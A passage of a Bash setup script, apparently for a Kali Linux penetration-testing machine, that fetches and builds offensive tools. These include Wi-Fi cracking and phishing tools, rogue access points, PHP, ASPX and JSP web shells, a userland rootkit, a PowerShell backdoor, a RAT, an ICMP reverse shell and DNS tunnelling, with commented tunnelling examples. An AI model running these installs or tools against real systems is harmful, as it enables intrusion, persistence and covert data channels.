  2274. sed -i 's#^.*"Default editor".*#\t<Setting name="Default editor">2/usr/bin/gedit</Setting>#' "${file}"
  2275. [ -e /usr/bin/atom ] && sed -i 's#^.*"Default editor".*#\t<Setting name="Default editor">2/usr/bin/atom</Setting>#' "${file}"
  2276. sed -i 's#^.*"Always use default editor".*#\t<Setting name="Always use default editor">1</Setting>#' "${file}"
  2277.  
  2278.  
  2279. ##### Install ncftp
  2280. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ncftp${RESET} ~ CLI FTP client"
  2281. apt -y -qq install ncftp \
  2282.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2283.  
  2284.  
  2285. ##### Install p7zip
  2286. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}p7zip${RESET} ~ CLI file extractor"
  2287. apt -y -qq install p7zip-full \
  2288.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2289.  
  2290.  
  2291. ##### Install zip & unzip
  2292. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}zip${RESET} & ${GREEN}unzip${RESET} ~ CLI file extractors"
  2293. apt -y -qq install zip unzip \
  2294.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2295.  
  2296.  
  2297. ##### Install file roller
  2298. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}file roller${RESET} ~ GUI file extractor"
  2299. apt -y -qq install file-roller \
  2300.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2301. apt -y -qq install unace unrar rar unzip zip p7zip p7zip-full p7zip-rar \
  2302.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2303.  
  2304.  
  2305. ##### Install VPN support
  2306. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}VPN${RESET} support for Network-Manager"
  2307. for FILE in network-manager-openvpn network-manager-pptp network-manager-vpnc network-manager-openconnect network-manager-iodine; do
  2308.   apt -y -qq install "${FILE}" \
  2309.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2310. done
  2311.  
  2312.  
  2313. ##### Install hashid
  2314. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}hashid${RESET} ~ identify hash types"
  2315. apt -y -qq install hashid \
  2316.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2317.  
  2318.  
  2319. ##### Install httprint
  2320. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}httprint${RESET} ~ GUI web server fingerprint"
  2321. apt -y -qq install httprint \
  2322.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2323.  
  2324.  
  2325. ##### Install lbd
  2326. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}lbd${RESET} ~ load balancing detector"
  2327. apt -y -qq install lbd \
  2328.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2329.  
  2330.  
  2331. ##### Install wafw00f
  2332. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wafw00f${RESET} ~ WAF detector"
  2333. apt -y -qq install wafw00f \
  2334.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2335.  
  2336.  
  2337. ##### Install aircrack-ng
  2338. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Aircrack-ng${RESET} ~ Wi-Fi cracking suite"
  2339. apt -y -qq install aircrack-ng curl \
  2340.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2341. #--- Setup hardware database
  2342. mkdir -p /etc/aircrack-ng/
  2343. (timeout 600 airodump-ng-oui-update 2>/dev/null) \
  2344.   || timeout 600 curl --progress -k -L -f "http://standards-oui.ieee.org/oui/oui.txt" > /etc/aircrack-ng/oui.txt
  2345. [ -e /etc/aircrack-ng/oui.txt ] \
  2346.   && (\grep "(hex)" /etc/aircrack-ng/oui.txt | sed 's/^[ \t]*//g;s/[ \t]*$//g' > /etc/aircrack-ng/airodump-ng-oui.txt)
  2347. [[ ! -f /etc/aircrack-ng/airodump-ng-oui.txt ]] \
  2348.   && echo -e ' '${RED}'[!]'${RESET}" Issue downloading oui.txt" 1>&2
  2349. #--- Setup alias
  2350. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  2351. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  2352. grep -q '^## aircrack-ng' "${file}" 2>/dev/null \
  2353.   || echo -e '## aircrack-ng\nalias aircrack-ng="aircrack-ng -z"\n' >> "${file}"
  2354. grep -q '^## airodump-ng' "${file}" 2>/dev/null \
  2355.   || echo -e '## airodump-ng \nalias airodump-ng="airodump-ng --manufacturer --wps --uptime"\n' >> "${file}"    # aircrack-ng 1.2 rc2
  2356. #--- Apply new alias
  2357. source "${file}" || source ~/.zshrc
  2358.  
  2359.  
  2360. ##### Install reaver (community fork)
  2361. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}reaver (community fork)${RESET} ~ WPS pin brute force + Pixie Attack"
  2362. apt -y -qq install reaver pixiewps \
  2363.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2364.  
  2365.  
  2366. ##### Install bully
  2367. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bully${RESET} ~ WPS pin brute force"
  2368. apt -y -qq install bully \
  2369.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2370.  
  2371.  
  2372. ##### Install wifite
  2373. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wifite${RESET} ~ automated Wi-Fi tool"
  2374. apt -y -qq install wifite \
  2375.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2376.  
  2377.  
  2378. ##### Install vulscan script for nmap
  2379. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}vulscan script for nmap${RESET} ~ vulnerability scanner add-on"
  2380. apt -y -qq install nmap curl \
  2381.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2382. mkdir -p /usr/share/nmap/scripts/vulscan/
  2383. timeout 300 curl --progress -k -L -f "http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz" > /tmp/nmap_nse_vulscan.tar.gz \
  2384.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading file" 1>&2      #***!!! hardcoded version! Need to manually check for updates
  2385. gunzip /tmp/nmap_nse_vulscan.tar.gz
  2386. tar -xf /tmp/nmap_nse_vulscan.tar -C /usr/share/nmap/scripts/
  2387. #--- Fix permissions (by default its 0777)
  2388. chmod -R 0755 /usr/share/nmap/scripts/; find /usr/share/nmap/scripts/ -type f -exec chmod 0644 {} \;
  2389.  
  2390.  
  2391. ##### Install unicornscan
  2392. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}unicornscan${RESET} ~ fast port scanner"
  2393. apt -y -qq install unicornscan \
  2394.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2395.  
  2396.  
  2397. ##### Install onetwopunch
  2398. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}onetwopunch${RESET} ~ unicornscan & nmap wrapper"
  2399. apt -y -qq install git nmap unicornscan \
  2400.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2401. git clone -q -b master https://github.com/superkojiman/onetwopunch.git /opt/onetwopunch-git/ \
  2402.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2403. pushd /opt/onetwopunch-git/ >/dev/null
  2404. git pull -q
  2405. popd >/dev/null
  2406. #--- Add to path
  2407. mkdir -p /usr/local/bin/
  2408. file=/usr/local/bin/onetwopunch-git
  2409. cat <<EOF > "${file}" \
  2410.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2411. #!/bin/bash
  2412.  
  2413. cd /opt/onetwopunch-git/ && bash onetwopunch.sh "\$@"
  2414. EOF
  2415. chmod +x "${file}"
  2416.  
  2417.  
  2418. ##### Install Gnmap-Parser (fork)
  2419. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Gnmap-Parser (fork)${RESET} ~ Parse Nmap exports into various plain-text formats"
  2420. apt -y -qq install git \
  2421.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2422. git clone -q -b master https://github.com/nullmode/gnmap-parser.git /opt/gnmap-parser-git/ \
  2423.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2424. pushd /opt/gnmap-parser-git/ >/dev/null
  2425. git pull -q
  2426. popd >/dev/null
  2427. #--- Add to path
  2428. chmod +x /opt/gnmap-parser-git/gnmap-parser.sh
  2429. mkdir -p /usr/local/bin/
  2430. ln -sf /opt/gnmap-parser-git/gnmap-parser.sh /usr/local/bin/gnmap-parser-git
  2431.  
  2432.  
  2433. ##### Install udp-proto-scanner
  2434. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}udp-proto-scanner${RESET} ~ common UDP port scanner"
  2435. apt -y -qq install curl \
  2436.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2437. timeout 300 curl --progress -k -L -f "https://labs.portcullis.co.uk/download/udp-proto-scanner-1.1.tar.gz" -o /tmp/udp-proto-scanner.tar.gz \
  2438.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading udp-proto-scanner.tar.gz" 1>&2
  2439. gunzip /tmp/udp-proto-scanner.tar.gz
  2440. tar -xf /tmp/udp-proto-scanner.tar -C /opt/
  2441. mv -f /opt/udp-proto-scanner{-1.1,}
  2442. #--- Add to path
  2443. mkdir -p /usr/local/bin/
  2444. file=/usr/local/bin/udp-proto-scanner
  2445. cat <<EOF > "${file}" \
  2446.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2447. #!/bin/bash
  2448.  
  2449. cd /opt/udp-proto-scanner/ && perl udp-proto-scanner.pl "\$@"
  2450. EOF
  2451. chmod +x "${file}"
  2452.  
  2453.  
  2454. ##### Install clusterd
  2455. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}clusterd${RESET} ~ clustered attack toolkit (JBoss, ColdFusion, WebLogic, Tomcat etc)"
  2456. apt -y -qq install clusterd \
  2457.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2458.  
  2459.  
  2460. ##### Install webhandler
  2461. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}webhandler${RESET} ~ shell TTY handler"
  2462. apt -y -qq install webhandler \
  2463.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2464. #--- Add to path
  2465. mkdir -p /usr/local/bin/
  2466. ln -sf /usr/bin/webhandler /usr/local/bin/wh
  2467.  
  2468.  
  2469. ##### Install azazel
  2470. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}azazel${RESET} ~ Linux userland rootkit"
  2471. apt -y -qq install git \
  2472.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2473. git clone -q -b master https://github.com/chokepoint/azazel.git /opt/azazel-git/ \
  2474.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2475. pushd /opt/azazel-git/ >/dev/null
  2476. git pull -q
  2477. popd >/dev/null
  2478.  
  2479.  
  2480. ##### Install Babadook
  2481. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Babadook${RESET} ~ connection-less powershell backdoor"
  2482. apt -y -qq install git \
  2483.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2484. git clone -q -b master https://github.com/jseidl/Babadook.git /opt/babadook-git/ \
  2485.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2486. pushd /opt/babadook-git/ >/dev/null
  2487. git pull -q
  2488. popd >/dev/null
  2489.  
  2490.  
  2491. ##### Install pupy
  2492. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}pupy${RESET} ~ Remote Administration Tool"
  2493. apt -y -qq install git \
  2494.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2495. git clone -q -b master https://github.com/n1nj4sec/pupy.git /opt/pupy-git/ \
  2496.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2497. pushd /opt/pupy-git/ >/dev/null
  2498. git pull -q
  2499. popd >/dev/null
  2500.  
  2501.  
  2502. ##### Install gobuster
  2503. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}gobuster${RESET} ~ Directory/File/DNS busting tool"
  2504. apt -y -qq install git gobuster \
  2505.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2506.  
  2507.  
  2508. ##### Install reGeorg
  2509. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}reGeorg${RESET} ~ pivot via web shells"
  2510. git clone -q -b master https://github.com/sensepost/reGeorg.git /opt/regeorg-git \
  2511.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2512. pushd /opt/regeorg-git/ >/dev/null
  2513. git pull -q
  2514. popd >/dev/null
  2515. #--- Link to others
  2516. apt -y -qq install webshells \
  2517.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2518. ln -sf /opt/reGeorg-git /usr/share/webshells/reGeorg
  2519.  
  2520.  
  2521. ##### Install b374k (https://bugs.kali.org/view.php?id=1097)
  2522. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}b374k${RESET} ~ (PHP) web shell"
  2523. apt -y -qq install git php-cli \
  2524.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2525. git clone -q -b master https://github.com/b374k/b374k.git /opt/b374k-git/ \
  2526.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2527. pushd /opt/b374k-git/ >/dev/null
  2528. git pull -q
  2529. php index.php -o b374k.php -s
  2530. popd >/dev/null
  2531. #--- Link to others
  2532. apt -y -qq install webshells \
  2533.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2534. ln -sf /opt/b374k-git /usr/share/webshells/php/b374k
  2535.  
  2536.  
  2537. ##### Install adminer
  2538. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}adminer${RESET} ~ Database management in a single PHP file"
  2539. apt -y -qq install git \
  2540.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2541. git clone -q -b master https://github.com/vrana/adminer.git /opt/adminer-git/ \
  2542.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2543. pushd /opt/adminer-git/ >/dev/null
  2544. git pull -q
  2545. php compile.php 2>/dev/null
  2546. popd >/dev/null
  2547. #--- Link to others
  2548. apt -y -qq install webshells \
  2549.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2550. file=$(find /opt/adminer-git/ -name adminer-*.php -type f -print -quit)
  2551. ln -sf "${file}" /usr/share/webshells/php/adminer.php
  2552.  
  2553.  
  2554. ##### Install WeBaCoo
  2555. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}WeBaCoo${RESET} ~ Web backdoor cookie"
  2556. apt -y -qq install webacoo \
  2557.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2558.  
  2559.  
  2560. ##### Install cmdsql
  2561. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}cmdsql${RESET} ~ (ASPX) web shell"
  2562. apt -y -qq install git \
  2563.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2564. git clone -q -b master https://github.com/NetSPI/cmdsql.git /opt/cmdsql-git/ \
  2565.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2566. pushd /opt/cmdsql-git/ >/dev/null
  2567. git pull -q
  2568. popd >/dev/null
  2569. #--- Link to others
  2570. apt -y -qq install webshells \
  2571.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2572. ln -sf /opt/cmdsql-git /usr/share/webshells/aspx/cmdsql
  2573.  
  2574.  
  2575. ##### Install JSP file browser
  2576. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}JSP file browser${RESET} ~ (JSP) web shell"
  2577. apt -y -qq install curl \
  2578.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2579. mkdir -p /opt/jsp-filebrowser/
  2580. timeout 300 curl --progress -k -L -f "http://www.vonloesch.de/files/browser.zip" > /tmp/jsp.zip \
  2581.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading jsp.zip" 1>&2
  2582. unzip -q -o -d /opt/jsp-filebrowser/ /tmp/jsp.zip
  2583. #--- Link to others
  2584. apt -y -qq install webshells \
  2585.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2586. ln -sf /opt/jsp-filebrowser /usr/share/webshells/jsp/jsp-filebrowser
  2587.  
  2588.  
  2589. ##### Install htshells
  2590. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}htShells${RESET} ~ (htdocs/apache) web shells"
  2591. apt -y -qq install htshells \
  2592.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2593.  
  2594.  
  2595. ##### Install python-pty-shells
  2596. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}python-pty-shells${RESET} ~ PTY shells"
  2597. apt -y -qq install git \
  2598.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2599. git clone -q -b master https://github.com/infodox/python-pty-shells.git /opt/python-pty-shells-git/ \
  2600.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2601. pushd /opt/python-pty-shells-git/ >/dev/null
  2602. git pull -q
  2603. popd >/dev/null
  2604.  
  2605.  
  2606. ##### Install bridge-utils
  2607. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bridge-utils${RESET} ~ Bridge network interfaces"
  2608. apt -y -qq install bridge-utils \
  2609.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2610.  
  2611.  
  2612. ##### Install FruityWifi
  2613. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}FruityWifi${RESET} ~ Wireless network auditing tool"
  2614. apt -y -qq install fruitywifi \
  2615.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2616. # URL: https://localhost:8443
  2617. if [[ -e /var/www/html/index.nginx-debian.html ]]; then
  2618.   grep -q '<title>Welcome to nginx on Debian!</title>' /var/www/html/index.nginx-debian.html \
  2619.     && echo 'Permission denied.' > /var/www/html/index.nginx-debian.html
  2620. fi
  2621.  
  2622.  
  2623. ##### Install WPA2-HalfHandshake-Crack
  2624. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}WPA2-HalfHandshake-Crack${RESET} ~ Rogue AP for handshakes without a AP"
  2625. apt -y -qq install git \
  2626.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2627. git clone -q -b master https://github.com/dxa4481/WPA2-HalfHandshake-Crack.git /opt/wpa2-halfhandshake-crack-git/ \
  2628.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2629. pushd /opt/wpa2-halfhandshake-crack-git/ >/dev/null
  2630. git pull -q
  2631. popd >/dev/null
  2632.  
  2633.  
  2634. ##### Install HT-WPS-Breaker
  2635. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}HT-WPS-Breaker${RESET} ~ Auto WPS tool"
  2636. apt -y -qq install git \
  2637.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2638. git clone -q -b master https://github.com/SilentGhostX/HT-WPS-Breaker.git /opt/ht-wps-breaker-git/ \
  2639.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2640. pushd /opt/ht-wps-breaker-git/ >/dev/null
  2641. git pull -q
  2642. popd >/dev/null
  2643.  
  2644.  
  2645. ##### Install dot11decrypt
  2646. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}dot11decrypt${RESET} ~ On-the-fly WEP/WPA2 decrypter"
  2647. apt -y -qq install git \
  2648.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2649. git clone -q -b master https://github.com/mfontanini/dot11decrypt.git /opt/dot11decrypt-git/ \
  2650.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2651. pushd /opt/dot11decrypt-git/ >/dev/null
  2652. git pull -q
  2653. popd >/dev/null
  2654.  
  2655.  
  2656. ##### Install mana toolkit
  2657. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MANA toolkit${RESET} ~ Rogue AP for MITM Wi-Fi"
  2658. apt -y -qq install mana-toolkit \
  2659.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2660. #--- Disable profile
  2661. a2dissite 000-mana-toolkit; a2ensite 000-default
  2662. #--- Setup alias
  2663. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  2664. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  2665. grep -q '^## mana-toolkit' "${file}" 2>/dev/null \
  2666.   || (echo -e '## mana-toolkit\nalias mana-toolkit-start="a2ensite 000-mana-toolkit;a2dissite 000-default; systemctl restart apache2"' >> "${file}" \
  2667.     && echo -e 'alias mana-toolkit-stop="a2dissite 000-mana-toolkit; a2ensite 000-default; systemctl restart apache2"\n' >> "${file}" )
  2668. #--- Apply new alias
  2669. source "${file}" || source ~/.zshrc
  2670.  
  2671.  
  2672. ##### Install wifiphisher
  2673. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wifiphisher${RESET} ~ Automated Wi-Fi phishing"
  2674. apt -y -qq install git \
  2675.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2676. git clone -q -b master https://github.com/sophron/wifiphisher.git /opt/wifiphisher-git/ \
  2677.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2678. pushd /opt/wifiphisher-git/ >/dev/null
  2679. git pull -q
  2680. popd >/dev/null
  2681. #--- Add to path
  2682. mkdir -p /usr/local/bin/
  2683. file=/usr/local/bin/wifiphisher-git
  2684. cat <<EOF > "${file}" \
  2685.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2686. #!/bin/bash
  2687.  
  2688. cd /opt/wifiphisher-git/ && python wifiphisher.py "\$@"
  2689. EOF
  2690. chmod +x "${file}"
  2691.  
  2692.  
  2693. ##### Install hostapd-wpe-extended
  2694. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}hostapd-wpe-extended${RESET} ~ Rogue AP for WPA-Enterprise"
  2695. apt -y -qq install git \
  2696.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2697. git clone -q -b master https://github.com/NerdyProjects/hostapd-wpe-extended.git /opt/hostapd-wpe-extended-git/ \
  2698.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2699. pushd /opt/hostapd-wpe-extended-git/ >/dev/null
  2700. git pull -q
  2701. popd >/dev/null
  2702.  
  2703.  
  2704. ##### Install proxychains-ng (https://bugs.kali.org/view.php?id=2037)
  2705. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}proxychains-ng${RESET} ~ Proxifier"
  2706. apt -y -qq install git gcc \
  2707.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2708. git clone -q -b master https://github.com/rofl0r/proxychains-ng.git /opt/proxychains-ng-git/ \
  2709.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2710. pushd /opt/proxychains-ng-git/ >/dev/null
  2711. git pull -q
  2712. make -s clean
  2713. ./configure --prefix=/usr --sysconfdir=/etc >/dev/null
  2714. make -s 2>/dev/null && make -s install   # bad, but it gives errors which might be confusing (still builds)
  2715. popd >/dev/null
  2716. #--- Add to path (with a 'better' name)
  2717. mkdir -p /usr/local/bin/
  2718. ln -sf /usr/bin/proxychains4 /usr/local/bin/proxychains-ng
  2719.  
  2720.  
  2721. ##### Install httptunnel
  2722. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}httptunnel${RESET} ~ Tunnels data streams in HTTP requests"
  2723. apt -y -qq install http-tunnel \
  2724.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2725.  
  2726.  
  2727. ##### Install sshuttle
  2728. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}sshuttle${RESET} ~ VPN over SSH"
  2729. apt -y -qq install sshuttle \
  2730.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2731. #--- Example
  2732. #sshuttle --dns --remote root@123.9.9.9 0/0 -vv
  2733.  
  2734.  
  2735. ##### Install pfi
  2736. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}pfi${RESET} ~ Port Forwarding Interceptor"
  2737. apt -y -qq install git \
  2738.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2739. git clone -q -b master https://github.com/s7ephen/pfi.git /opt/pfi-git/ \
  2740.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2741. pushd /opt/pfi-git/ >/dev/null
  2742. git pull -q
  2743. popd >/dev/null
  2744.  
  2745.  
  2746. ##### Install icmpsh
  2747. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}icmpsh${RESET} ~ Reverse ICMP shell"
  2748. apt -y -qq install git \
  2749.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2750. git clone -q -b master https://github.com/inquisb/icmpsh.git /opt/icmpsh-git/ \
  2751.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2752. pushd /opt/icmpsh-git/ >/dev/null
  2753. git pull -q
  2754. popd >/dev/null
  2755.  
  2756.  
  2757. ##### Install dnsftp
  2758. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}dnsftp${RESET} ~ Transfer files over DNS"
  2759. apt -y -qq install git \
  2760.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2761. git clone -q -b master https://github.com/breenmachine/dnsftp.git /opt/dnsftp-git/ \
  2762.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2763. pushd /opt/dnsftp-git/ >/dev/null
  2764. git pull -q
  2765. popd >/dev/null
  2766.  
  2767.  
  2768. ##### Install iodine
  2769. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}iodine${RESET} ~ DNS tunnelling (IP over DNS)"
  2770. apt -y -qq install iodine \
  2771.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2772. #iodined -f -P password1 10.0.0.1 dns.mydomain.com
  2773. #iodine -f -P password1 123.9.9.9 dns.mydomain.com; ssh -C -D 8081 root@10.0.0.1
  2774.  
  2775.  
  2776. ##### Install dns2tcp
  2777. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}dns2tcp${RESET} ~ DNS tunnelling (TCP over DNS)"
  2778. apt -y -qq install dns2tcp \
